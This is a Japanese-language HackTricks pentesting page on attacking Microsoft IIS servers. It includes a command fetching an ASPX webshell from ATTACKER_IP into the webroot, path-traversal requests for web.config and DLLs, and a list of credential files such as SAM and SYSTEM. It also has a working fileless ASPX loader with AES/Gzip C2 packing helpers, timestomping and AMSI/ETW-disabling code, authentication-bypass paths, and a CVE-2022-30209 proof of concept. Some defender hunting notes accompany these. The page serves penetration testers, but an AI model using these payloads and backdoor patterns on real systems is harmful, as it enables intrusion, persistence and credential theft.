IIS - Internet Information Services

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

テスト用実行ファイル拡張子:

  • asp
  • aspx
  • config
  • php

書き込み可能な webroot → ASPX command shell

低権限のユーザー/グループが C:\inetpub\wwwroot に対する書き込みアクセス を持っている場合、ASPX webshell を配置して、アプリケーションプールの識別情報（多くの場合 SeImpersonatePrivilege を保持）として OS コマンドを実行できます。

  • ACL を確認: icacls C:\inetpub\wwwroot または cacls . を実行し、ユーザー/グループに (F) が付与されているか確認します。
  • PowerShell を使用してコマンド webshell（例: fuzzdb/tennc cmd.aspx）をアップロード:
iwr http://ATTACKER_IP/shell.aspx -OutFile C:\inetpub\wwwroot\shell.aspx
  • Request /shell.aspx and run commands; identity typically shows iis apppool\defaultapppool.
  • AppPool トークンに SeImpersonatePrivilege がある場合は、Potato-family LPE（例: GodPotato/SigmaPotato）と組み合わせて SYSTEM にピボットできます。

内部 IP アドレスの開示

302 を返す任意の IIS サーバーでは、Host ヘッダを除去して HTTP/1.0 を使用すると、レスポンス内の Location ヘッダが内部 IP アドレスを指す可能性があります:

nc -v domain.com 80
openssl s_client -connect domain.com:443

内部IPを開示するレスポンス:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

.config ファイルを実行する

.config ファイルをアップロードしてコード実行に利用できます。
その一例として、ファイルの末尾に HTML コメント内でコードを追加する方法があります: Download example here

この脆弱性を悪用するための詳細情報と手法は here

IIS Discovery Bruteforce

私が作成したリストをダウンロードしてください:

以下のリストの内容を結合して作成しました:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

拡張子を追加せずに使用してください。必要なファイルには既に拡張子が付いています。

Path Traversal

Leaking source code

詳細な解説は次を参照してください: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Tip

要約すると、アプリケーションのフォルダ内には複数の web.config ファイルがあり、“assemblyIdentity” ファイルや “namespaces” への参照が含まれています。これらの情報から、実行可能ファイルがどこにあるか を特定してダウンロードすることが可能です。
ダウンロードした Dlls からは、さらに new namespaces を見つけ出し、そこにアクセスして web.config ファイルを取得することで新たな namespaces や assemblyIdentity を見つけることができます。
また、connectionstrings.config や global.asax ファイルには興味深い情報が含まれている可能性があります。

.Net MVC applications では、web.config ファイルが重要な役割を果たし、“assemblyIdentity” の XML タグを通じてアプリケーションが依存する各バイナリファイルを指定します。

バイナリファイルの調査

以下に web.config ファイルにアクセスする例を示します:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

このリクエストは、次のような各種設定や依存関係を明らかにします:

  • EntityFramework のバージョン
  • webpages、クライアント検証、JavaScript 用の AppSettings
  • 認証とランタイムのための System.web 設定
  • System.webServer のモジュール設定
  • 多数のライブラリ（例: Microsoft.Owin、Newtonsoft.Json、System.Web.Mvc）向けの Runtime のアセンブリバインディング

これらの設定は、/bin/WebGrease.dll のような特定のファイルがアプリケーションの /bin フォルダ内に存在することを示しています。

ルートディレクトリのファイル

ルートディレクトリで見つかるファイル（例: /global.asax や /connectionstrings.config（機密パスワードを含む））は、アプリケーションの設定と動作に不可欠です。

名前空間と Web.Config

MVC アプリケーションは、各ファイルでの重複した宣言を避けるため、特定の名前空間用に追加の web.config ファイルも定義します。以下は別の web.config をダウンロードするリクエストの例です:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

DLLのダウンロード

カスタム名前空間の記載から、/binディレクトリに WebApplication1 という名前の DLL が存在することが示唆されます。続いて、WebApplication1.dll をダウンロードするリクエストが表示されています:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

これは /bin ディレクトリに System.Web.Mvc.dll や System.Web.Optimization.dll のような他の重要な DLL が存在することを示唆します。

DLL が WebApplication1.Areas.Minded という名前空間をインポートしている状況では、攻撃者は /area-name/Views/ のような予測可能なパスに他の web.config ファイルが存在し、そこに特定の設定や /bin フォルダ内の他の DLL への参照が含まれていると推測する可能性があります。例えば、/Minded/Views/web.config へのリクエストは、別の DLL WebApplication1.AdditionalFeatures.dll の存在を示す設定や名前空間を露呈することがあります。

共通のファイル

出典: here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 エラー

If you see an error like the following one:

これはサーバが Host ヘッダ内で正しいドメイン名を受け取っていないことを意味します。
ウェブページにアクセスするには、提供されているSSL Certificateを確認して、ドメイン/サブドメイン名が含まれていないか探してください。含まれていない場合は、正しいものが見つかるまでbrute force VHostsを行う必要があるかもしれません。

暗号化された設定と ASP.NET Core Data Protection key rings を復号する

IIS 上でホストされた .NET アプリでシークレットを保護する一般的なパターンは次の2つです:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) を使用して、web.config の のようなセクションを保護する。
  • アプリケーションのシークレットやクッキーを保護するために使用される、ローカルに保存された ASP.NET Core Data Protection key ring。

もしウェブサーバ上でファイルシステムまたは対話的アクセスがある場合、同一配置されたキーにより復号が可能になることが多い。

  • ASP.NET (Full Framework) – aspnet_regiis を使って保護された設定セクションを復号する:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – ローカルに保存された Data Protection キーリング（XML/JSON ファイル）を次のような場所で探す:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

キーリングが利用可能であれば、アプリのアイデンティティで動作するオペレーターは同じ purposes で IDataProtector をインスタンス化し、格納されたシークレットを unprotect できます。キーリングをアプリのファイルと共に保存するような誤設定は、ホストが侵害されるとオフラインでの復号を容易にします。

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

The Phantom Taurus/NET-STAR toolkit は、w3wp.exe 内だけで完結する fileless IIS 永続化と post‑exploitation の成熟したパターンを示しています。これらのコアアイデアはカスタムのトレードクラフトや検出・ハンティングにも広く再利用可能です。

Key building blocks

  • ASPX ブートストラッパーが埋め込まれたペイロードをホストする: 単一の .aspx ページ（例: OutlookEN.aspx）が Base64‑encoded, optionally Gzip‑compressed .NET DLL を保持します。トリガーリクエストが来ると、それをデコード・展開し、リフレクティブに現在の AppDomain にロードしてメインエントリポイント（例: ServerRun.Run()）を呼び出します。
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: タスク/結果は Gzip → AES‑ECB/PKCS7 → Base64 でラップされ、一見正当な cookie‑heavy リクエスト経由で移動します。オペレーターはチャンク分割のために安定した区切り文字（例: “STAR”）を使用していました。
  • Reflective .NET execution: 任意のマネージドアセンブリを Base64 として受け取り、Assembly.Load(byte[]) でロードし、オペレーター引数を渡してディスクに触れずにモジュールを素早く差し替え可能にします。
  • Operating in precompiled ASP.NET sites: サイトがプリコンパイルされている場合でも補助的なシェル/バックドアを追加・管理できます（例: dropper が動的ページ/ハンドラーを追加する、または config ハンドラーを活用する）— bypassPrecompiledApp、addshell、listshell、removeshell のようなコマンドで露出します。
  • Timestomping/metadata forgery: changeLastModified アクションを公開し、デプロイ時に timestomp（将来のコンパイルタイムスタンプを含む）を行って DFIR を妨げます。
  • Optional AMSI/ETW pre‑disable for loaders: セカンドステージローダーは Assembly.Load を呼ぶ前に AMSI と ETW を無効化して、インメモリペイロードの検査を減らすことができます。

Minimal ASPX loader pattern

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

パッキング/暗号ヘルパー (Gzip + AES‑ECB + Base64)

using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session フローとコマンドサーフェス

  • セッションのブートストラップとタスク割り当ては cookies を介して行われ、通常の web アクティビティに紛れるようになっている。
  • 実際の環境で観測されたコマンドには以下が含まれる: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; およびメモリ内の .NET 実行のための動的実行プリミティブ code_self, code_pid, run_code。

Timestomping ユーティリティ

File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Assembly.Load の前にインラインで AMSI/ETW を無効化 (loader variant)

// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md

Hunting notes (defenders)

  • 単一の、異常に長い Base64/Gzip ブロブを含む ASPX ページ；cookie を多用する POST。
  • w3wp.exe 内の未登録の managed module；Encrypt/Decrypt (ECB)、Compress/Decompress、GetContext、Run のような文字列。
  • トラフィック内で繰り返される区切り文字（例：“STAR”）；ASPX/assemblies のタイムスタンプが不一致、あるいは未来日付。

Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)

多くの ASP.NET アプリは Telerik UI for ASP.NET AJAX を組み込み、認証不要のハンドラ Telerik.Web.UI.WebResource.axd を公開しています。Image Editor のキャッシュエンドポイントが到達可能な場合（type=iec）、パラメータ dkey=1 と prtype が unsafe reflection を有効にし、認証前に任意の public な引数なしコンストラクタを実行させます。これは汎用の DoS 原始手段を提供し、AppDomain.AssemblyResolve ハンドラが安全でないアプリでは認証前の RCE にエスカレートする可能性があります。

詳細な手法と PoCs は以下を参照してください：

Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

発見した各フォルダ内（Basic Authentication を要求している場合でも）でフォルダやファイルを列挙するためにこの technique を試すことができます。
この手法の主な制限は、サーバが脆弱であっても各ファイル/フォルダ名の最初の最大6文字と、ファイル拡張子の最初の3文字までしか見つけられない点です。

テストには https://github.com/irsdl/IIS-ShortName-Scanner を使えます:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

metasploit も使用できます: use scanner/http/iis_shortname_scanner

発見したファイルの最終的な名前を見つける良いアイデアは、https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py のスクリプトで行われているように LLMs に候補を尋ねることです。

Basic Authentication bypass

IIS 7.5 の Basic Authentication をバイパスするには、次にアクセスしてみてください: /admin:$i30:$INDEX_ALLOCATION/admin.php または /admin::$INDEX_ALLOCATION/admin.php

この脆弱性と前述の手法を組み合わせて、新しいフォルダを見つけたり認証をバイパスしたりすることができます。

ASP.NET Trace.AXD enabled debugging

ASP.NET にはデバッグモードがあり、そのファイルは trace.axd と呼ばれます。

これには一定期間にアプリケーションに対して行われたすべてのリクエストの非常に詳細なログが保持されます。

この情報にはリモートクライアントの IP、セッション ID、すべてのリクエストおよびレスポンスの cookie、物理パス、ソースコード情報、場合によってはユーザ名やパスワードまでも含まれる可能性があります。

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH は以下の情報を使用します:

  • validationKey (string): 署名検証に使われる16進エンコードされたキー。
  • decryptionMethod (string): （デフォルト “AES”）。
  • decryptionIV (string): 16進エンコードされた初期化ベクトル（デフォルトはゼロのベクトル）。
  • decryptionKey (string): 復号に使われる16進エンコードされたキー。

ただし、これらのパラメータのデフォルト値を使い、cookie としてユーザのメールアドレスをそのまま使用しているサイトもあります。したがって、同じプラットフォームを使っていて ASPXAUTH cookie を使用している別のサイトで攻撃対象のユーザのメールアドレスを持つアカウントを作成できれば、二つ目のサーバの cookie を一つ目のサーバで使ってユーザをなりすますことが可能になるかもしれません。
この攻撃はこの writeup で実際に成功しています。

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: コードのバグにより、ユーザが与えたパスワードが適切に検証されていませんでした。そのため、攻撃者のパスワードハッシュが既に cache 内に存在するキーに当たると、その攻撃者はそのユーザとしてログインできてしまいます。

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

参考資料

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする